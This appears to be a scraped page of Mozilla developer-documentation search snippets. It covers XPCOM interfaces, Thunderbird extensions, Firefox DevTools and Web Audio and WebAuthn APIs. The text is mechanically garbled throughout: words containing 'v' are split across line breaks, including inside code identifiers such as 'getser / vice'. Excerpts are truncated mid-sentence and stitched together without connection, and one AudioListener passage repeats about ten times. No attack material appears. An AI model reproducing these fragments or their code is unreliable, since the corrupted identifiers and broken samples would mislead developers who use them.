vice(components.interfaces.nsiwinapphelper); the nsixulappinfo and nsixulruntime interfaces are also implemented by "xre/app-info".
... method over
view void fixreg(); obsolete since gecko 1.9 void postupdate(in nsilocalfile logfile); obsolete since gecko 1.9.2 attributes attribute type description usercanelevate boolean read only.
... returns true only if all the following conditions are all true at once: the operating system is at least windows
vista user account control is enabled the user is an administrator the application is not already running with elevated permissions otherwise it returns false.
nsIWindowsRegKey
xpcom/ds/nsiwindowsregkey.idlscriptable this interface is designed to pro
vide scriptable access to the windows registry system.
...method over
view void close(); void create(in unsigned long rootkey, in astring relpath, in unsigned long mode); nsiwindowsregkey createchild(in astring relpath, in unsigned long mode); astring getchildname(in unsigned long index); astring getvaluename(in unsigned long index); unsigned long getvaluetype(in astring name); boolean haschanged(); boolean haschild(in astring name); boolean hasvalue(in astring name); boolean iswatching(); void open(in unsig...
... key hkey this attribute exposes the native hkey and is available to pro
vide c++ consumers with the flexibility of making other windows registry api calls that are not exposed
via this interface.
... note: in gecko 2.0, readstringvalue() calls expanden
vironmentstrings() on a reg_expand_sz type.
nsIXPConnect
js/src/xpconnect/idl/nsixpconnect.idlnot scriptable pro
vides the xpconnect ser
vice.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect ser
vice, use code like this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getser
vice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method over
view void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only!
...false by default, although any value set in the moz_report_all_js_exceptions en
vironment variable will override the value passed here.
...ions thrown missing exception missing description varianttojs() jsval varianttojs( in jscontextptr ctx, in jsobjectptr scope, in nsivariant value ); parameters ctx missing description scope missing description value missing description return value missing description exceptions thrown missing exception missing description wrapjs() wrapjs() will yield a new or pre
viously existing xpcom interface pointer to represent the jsobject passed in.
nsIXULBrowserWindow
xpfe/appshell/public/nsixulbrowserwindow.idlscriptable pro
vides methods that may be called from the internals of the browser area to tell the containing xul window to update its user interface.
...note: the xulbrowserwindow object offered to javascript code pro
vides a great many more methods and attributes than those listed here, which are only the ones available to c++ code.
...method over
view astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); void setjsdefaultstatus(in astring status); void setjsstatus(in astring status); void setoverlink(in astring link, in nsidomelement element); methods onbeforelinktraversal() called before traversing a link to determine the appropriate target into which to load the link.
... return value a string indicating the re
vised target for the link.
XPCOM ABI
while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when mo
ving to a different platform.
...rms] represents the cpu architecture and may be either: x86 - i386 and higher series (including x86-64 cpus in 32-bit mode) ppc - powerpc series alpha - alpha series x86_64 - amd64/emt64 series in 64-bit mode (32-bit mode is still considered x86) sparc - sparc series ia64 - itanium series {target_compiler_abi}[platforms] represents the compiler abi and may be either: msvc - microsoft
visual c++ n32 - irix 6 c++ compiler gcc2 - gnu c++ compiler 2.x gcc3 - gnu c++ compiler 3.x or 4.x sunc - sun c++ compiler ibmc - ibm c++ compiler for example: firefox built with the gnu c++ compiler 4.0.0 for the intel pentium processor would have xpcom abi of x86-gcc3 the xpcom abi string can be retrieved programmatically by using the nsixulruntime interface.
... to retrieve the abi of your firefox or thunderbird, open the error console (accessible through tools | error console) and evaluate the following javascript code: components.classes["@mozilla.org/xre/app-info;1"] .getser
vice(components.interfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unknown, the application wouldn't have an xpcom abi string and attempts to get it will result in error ns_error_not_available.
...if an extension pro
vides binary xpcom components, it should declare their xpcom abi in the install manifest.
wrappedJSObject
in this example we use getser
vice, but as long as we get the reference from xpcom, our component gets wrapped by xpconnect in the same way: var comp = components.classes["@myself.com/my-component;1"].getser
vice(); if we try to call the hello() method we defined in our component implementation, we get: > comp.hello(); typeerror on line 1: comp.hello is not a function this happens because, as we mentioned earlier, comp is n...
...this also makes the public interface of the component clearer and pro
vides protection for the component's internal data.
... while this beha
vior is nice for production code as it forces you to clearly define the interfaces that should be used to access the component, it's inconvenient to write the interfaces (and recompile each time you change them) when working on a prototype of the component.
...for example: function helloworld() { this.wrappedjsobject = this; }; now we can get the component directly: var comp = components.classes["@myself.com/my-component;1"] .getser
vice().wrappedjsobject; this is a real js object: > comp [object object] so we can access any property on it: > comp.hello(); hello world!
Xptcall Porting Guide
over
view xptcall is a library that supports both invoking methods on arbitrary xpcom objects and implementing classes whose objects can impersonate any xpcom interface.
...the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get started \--tests // full tests
via api porters are free to create subdirectories under the base md directory for their given platforms and to integrate into the build system as appropriate for their platform.
... // these are
virtual and *also* implemented by this class..
... #include "xptcstubsdecl.inc" // the following methods must be pro
vided by inheritor of this class.
XSLT 2.0
although xslt 2.0 is not natively supported in firefox, it is possible
via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.
... saxon-b the xsl results extension uses the new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for ha
ving xslt performed automatically when
visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor).
... for developers saxon-ce a javascript api is pro
vided for initiating an xslt 2.0 transform from a web page.
... error and diagnostics output from saxon-ce can be re
viewed in the firefox developer console or in firebug.
Address book sync client design
pizzarro <rhp@netscape.com> contents over
view client side sync logic public interfaces over
view there is an component available in the mozilla tree for performing synchronization operations against a server based address book.
... // // the client keeps a sync mapping table which holds the following: // // serverrecordid - unique id for a record pro
vided by the // uab server.
... // localrecordid - local unique id, for mobile de
vices this // is assigned by the mobile de
vice.
...this pro
vides feedback of the current sync operation.
Events
msgcreatedb
view onactivecreated
view onactivemessagesloaded the active messages in the folder have been loaded oncreated
view a folder
view has been created, but not yet shown.
... ondestroying
view the current folder
view is being destroyed.
... ondisplayingfolder a folder gets displayed onfolderloading a folder is being loaded onlea
vingfolder a folder is being unloaded, includes deletion onloadingfolder a folder is being loaded onmakeactive a folderdisplaywidget becomes active onmessagecountschanged the counts of the messages changed onmessagesloaded the messages in the folder have been loaded onmessagesremovalfailed remo
ving some messages from the current folder failed onmessagesremoved some messages of the current message list have been removed onsearching a folder
view derived from a search is being loaded, e.g.
... saved searches,
virtual folders, a quicksearch onsortchanged the sort method in the messages list has been changed ...
Building a Thunderbird extension 5: XUL
xul is an xml grammar that pro
vides user interface widgets like buttons, menus, toolbars, trees etc.
...while xul pro
vides the elements of the user interface, actions are written in javascript.
...to
view this xul file use the dom inspector extension (no longer supported) or look inside the omni.ja archive, which is located in the thunderbird program folder.
... « pre
viousnext » ...
Demo Addon
over
view this demo add-on has been created by jonathan protzenko for his presentation at mozcamp 2011.
...afterwards, just click that button to show the demo over
view.
... let data = []; for each (let account in fixiterator(mailser
vices.accounts.accounts, ci.nsimsgaccount)) { let info = { server: null, type: null, emails: [], name: null, }; let server = account.incomingserver; if (server) { info.server = server.prettyname; info.type = server.type; } for each (let id in fixiterator(account.identities, ci.nsimsgidentity)) { // we're only interested...
..." *" : "") + "\n"; if (folder.hassubfolders) for each (let folder in fixiterator(folder.subfolders, ci.nsimsgfolder)) print(indent + " ", folder); }; print(" ", folder); as in the pre
vious example, we get the incomingserver of the account in question.
Thunderbird
currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-producti
vity en
vironment.
...there's also information about how the re
view process works and how to use the mozilla symbol server to help with debugging.
... database
views backend information about nsimsgdb
view and related interfaces.
... thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extensions
view all...
Using popup notifications
a popup notification can include a text message, a button action, and zero or more additional actions pro
vided in a drop-down menu accessed through the notification's button.
...this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", callback: function() { alert("doing something awesome!"); } }, null /* secondary action */ ); in this case, we aren't pro
viding any secondary actions; that is, actions pro
vided to the user through the drop-down menu.
...you just need to pro
vide the appropriate css.
...you can use this to style the icon, like this: .popup-notification-icon[popupid="sample-popup"] { list-style-image: url("chrome://popupnotifications/skin/mozlogo.png"); } with this css in place, the result is the look we want: adding secondary options to pro
vide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", callback: function() { alert("doing something awesome!"); } ...
Using tab-modal prompts
you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getser
vice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
...for example: var factory = components.classes["@mozilla.org/prompter;1"] .getser
vice(components.interfaces.nsipromptfactory); var prompt = factory.getprompt(gbrowser.contentwindow, components.interfaces.nsiprompt); var bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); var promptargs = ["devmo alert", "omg!
... an alert!"]; prompt.alert.apply(null, promptargs); nsiprompt will automatically fall back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other forms of the prompts of nsipromptser
vice interface see the example code.
... then apply it, like in the example below, here we apply the prompt with a checkbox: var window = gbrowser.contentwindow; var promptfact = components.classes['@mozilla.org/prompter;1'].getser
vice(components.interfaces.nsipromptfactory); var prompt = promptfact.getprompt(window, components.interfaces.nsiprompt); var promptbag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); promptbag.setpropertyasbool('allowtabmodal', true); var check = {value: false}; //initial state of checkbox, however if no text is supplied the checkbox is not shown var input = {value: 'pre filled value'}; var ok = prompt.prompt.apply(null, ['title - but not shown in tab modal', 'text goes here', input, 'check text, if no text, checkbox is not shown', check]); //this here is just an alert, showi...
Library
method over
view close(); cdata declare(name, [abi, ], returntype[, argtype1, ...]); methods close() closes the library.
...you don't need to pro
vide this for exported data; it's only needed for function declarations.
...this parameter should not be pro
vided if the api is an exported data symbol.
...these should not be pro
vided if the api is an exported data symbol rather than a function.
Browser Side Plug-in API - Plugins
« pre
viousnext » this chapter describes methods in the plug-in api that are available from the browser.
...for an over
view of how these two sides of the plug-in api interact, see the how plug-ins work and over
view of plug-in structure sections in the introduction.
... netscape plug-in method summary « pre
viousnext » npn_destroystream closes and deletes a stream.
... npn_getvalueforurl pro
vides information to a plug-in which is associated with a given url, for example the cookies or preferred proxy.
Memory - Plugins
« pre
viousnext » this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in.
... void npn_memfree (void *ptr); the ptr parameter represents a block of memory pre
viously allocated using npn_memalloc.
...calling npn_memflush is particularly important to systems with small amounts of ram and with
virtual memory turned off.
... « pre
viousnext » ...
Break on DOM mutation - Firefox Developer Tools
na
vigate to the dom node in which you are interested and use the context menu to set the breakpoint.
... the panel on the right shows that execution is "paused on dom mutation" and you, as with any other breakpoint, you can see the call stack and
view any watch expressions you may have set up.
... inline variable pre
view new in firefox 71, the source pane now gives you an instant pre
view of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable pre
view for more information.
Examine, modify, and watch variables - Firefox Developer Tools
if you need to use it, you can, for now, switch back to the old debugger by
visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to false.
... to see the docs for the old debugger, please
visit debugger (before firefox 52).
... pointing your cursor at a variable's name displays a tooltip that pro
vides additional information about the variable.
... if a variable exists in the source but has been optimized away by the javascript engine, then it is shown in the variables
view, but is given the value (optimized away), and is not editable.
Step through code - Firefox Developer Tools
the end of the current function, in which case, the debugger will skip the return value from a function, returning execution to the caller split console when paused, you can press the esc key to open and close the split console to gain more insight into errors and variables: pause on breakpoints overlay since firefox 70, when your code is paused on a breakpoint an overlay appears on the
viewport of the tab you are debugging.
... this lets you know what kind of breakpoint the code is paused on (breakpoint, event breakpoint, etc.), and also pro
vides a step button and a play button.
... inline variable pre
view new in firefox 71, the source pane now gives you an instant pre
view of the variables on each line of code you've stepped through.
... see set a breakpoint > inline variable pre
view for more information.
Network monitor toolbar - Firefox Developer Tools
the network monitor pro
vides two toolbar areas, one above the main section, and another below.
...(prior to firefox 77, this toolbar was arranged somewhat differently.) it pro
vides: an icon to clear the network request list.
... throttling menu, to simulate various connection types a menu of other actions: persist logs: by default, the network monitor is cleared each time you na
vigate to a new page or reload the current page.
... a second toolbar area at the bottom of the network monitor pro
vides: an icon to launch performance analysis.
Network Monitor - Firefox Developer Tools
the just opened tool looks like this: either action causes the network monitor to begin monitoring network acti
vity.
... once the tool is monitoring network requests, the display looks like this: when it is actively monitoring acti
vity, the network monitor records network requests any time the toolbox is open, even if the network monitor itself is not selected.
... this means you can start debugging a page in, for example, the web console, then switch to the network monitor to see network acti
vity without ha
ving to reload the page.
... ui over
view the ui is di
vided into four main pieces: the main screen contains the toolbar, the network request list, and the network request details pane: the performance analysis
view is a separate screen: working with the network monitor the following articles cover different aspects of using the network monitor: toolbar network request list network request details network traffic recording performance analysis throttling ...
Page inspector 3-pane mode - Firefox Developer Tools
the other css related features — such as computed styles
view, animations
view, and fonts
view — in tabs on the right hand side, as usual.
... ha
ving the css rules in their own pane is very useful because it allows you to not only inspect your html and edit the css applied to it, but also see the effect this has on css features such as computed styles and grids in real time.
...it is enabled
via a toggle control found in the tabs pane on the left hand side.
... press the toggle control to toggle between the 2- and 3-pane
views.
Call Tree - Firefox Developer Tools
if we look at the code for sort(), it should be fairly ob
vious that the high platform data cost is coming from repeated calls to console.log(): function sort(unsorted) { console.log(bubblesort(unsorted)); console.log(selectionsort(unsorted)); console.log(quicksort(unsorted)); } it would certainly be worthwhile considering more efficient ways of implementing this.
...the direct consequence is that this is a
view that focuses more on the function's self time information.
... this is a very useful
view to find some hot spot in your code.
... to display this
view, click the gear icon on the right-hand end of the performance tab and select invert call tree.
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor constructor creates a new absoluteorientationsensor object which describes the de
vice's physical orientation in relation to the earth's reference coordinate system.
...the actual reading frequency depends de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
Accelerometer.Accelerometer() - Web APIs
the accelerometer constructor creates a new accelerometer object which returns the acceleration of the de
vice along all three axes at the time it is read.
...the actual reading frequency depends de
vice hardware and consequently may be less than requested.
... referenceframe: either 'de
vice' or 'screen'.
... the default is 'de
vice'.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
thus, its beha
vior is independent of the value of the playbackrate parameter.
...thus, its beha
vior is independent of the value of the playbackrate parameter.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffersourcenode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox ...
... web
view android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safa...
AudioContext.baseLatency - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaselatency experimentalchrome full support 58edge full support ≤79firefox full support 70ie no support noopera full ...
...support 45safari no support noweb
view android full support 58chrome android full support 58firefox android no support noopera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <
video> element, the audio from which can then be played and manipulated.
...when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position di
vided by overall window height.
... you can therefore increase and decrease the volume of the playing music by mo
ving the mouse pointer up and down.
... note: you can also
view this example running live, or
view the source.
AudioListener.dopplerFactor - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardX - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardY - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.forwardZ - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionX - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionY - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.positionZ - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.setOrientation() - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.speedOfSound - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upX - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upY - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioListener.upZ - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioParam - Web APIs
the change starts at the time specified for the pre
vious event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
...the change starts at the time specified for the pre
vious event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... examples first, a basic example showing a gainnode ha
ving its gain value set.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var gainnode = audioctx.creategain(); gainnode.gain.value = 0; next, an example showing a dynamicscompressornode ha
ving some param values maniuplated.
AudioTrack.language - Web APIs
for tracks that include multiple languages (such as a mo
vie in english in which a few lines are spoken in other languages), this should be the
video's primary language.
... this could then be used to build a user interface for selecting the language the user would like to listen to while watching a mo
vie, for example.
...el) { var tracklist = []; const wantedkinds = [ "main", "translation" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, language: track.language }); } }); return tracklist; } specifications specification status comment html li
ving standardthe definition of 'audiotrack.language' in that specification.
... li
ving standard html5the definition of 'audiotrack.language' in that specification.
AudioTrackList.length - Web APIs
example this snippet gets the number of audio tracks in the first <
video> element found in the dom by queryselector().
... var
videoelem = document.queryselector("
video"); var numaudiotracks = 0; if (
videoelem.audiotracks) { numaudiotracks =
videoelem.audiotracks.length; } note that this sample checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack.
... specifications specification status comment html li
ving standardthe definition of 'audiotracklist.length' in that specification.
... li
ving standard html5the definition of 'audiotracklist.length' in that specification.
AudioTrackList.onchange - Web APIs
the event is passed into the event handler in the form of an event object; the event doesn't pro
vide any additional information.
... var tracklist = document.queryselector("
video").audiotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackenabledbutton(track.id, track.enabled); }); }; the updatetrackenabledbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's enabled flag to determine whic...
... specifications specification status comment html li
ving standardthe definition of 'audiotracklist.onchange' in that specification.
... li
ving standard html5the definition of 'audiotracklist.onchange' in that specification.
AudioWorkletProcessor.process - Web APIs
although the method is not a part of the audioworkletprocessor interface, any implementation of audioworkletprocessor must pro
vide a process() method.
...however, plans are already in place to re
vise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
... returning true forces the web audio api to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating new audio data nor recei
ving data through its inputs that it is processing.
...an example of a node with this beha
viour is the gainnode.
AuthenticatorAttestationResponse.getTransports() - Web APIs
such transports may be usb, nfc, ble or internal (applicable when the authenticator is not removable from the de
vice).
... note: an authenticatorattestationresponse instance is available on publickeycredential.response after calling na
vigator.credentials.create().
...their values may be : "usb": the authenticator can be contacted
via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client de
vice (cannot be removed).
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that spec...
BaseAudioContext.createPanner() - Web APIs
you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (
view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
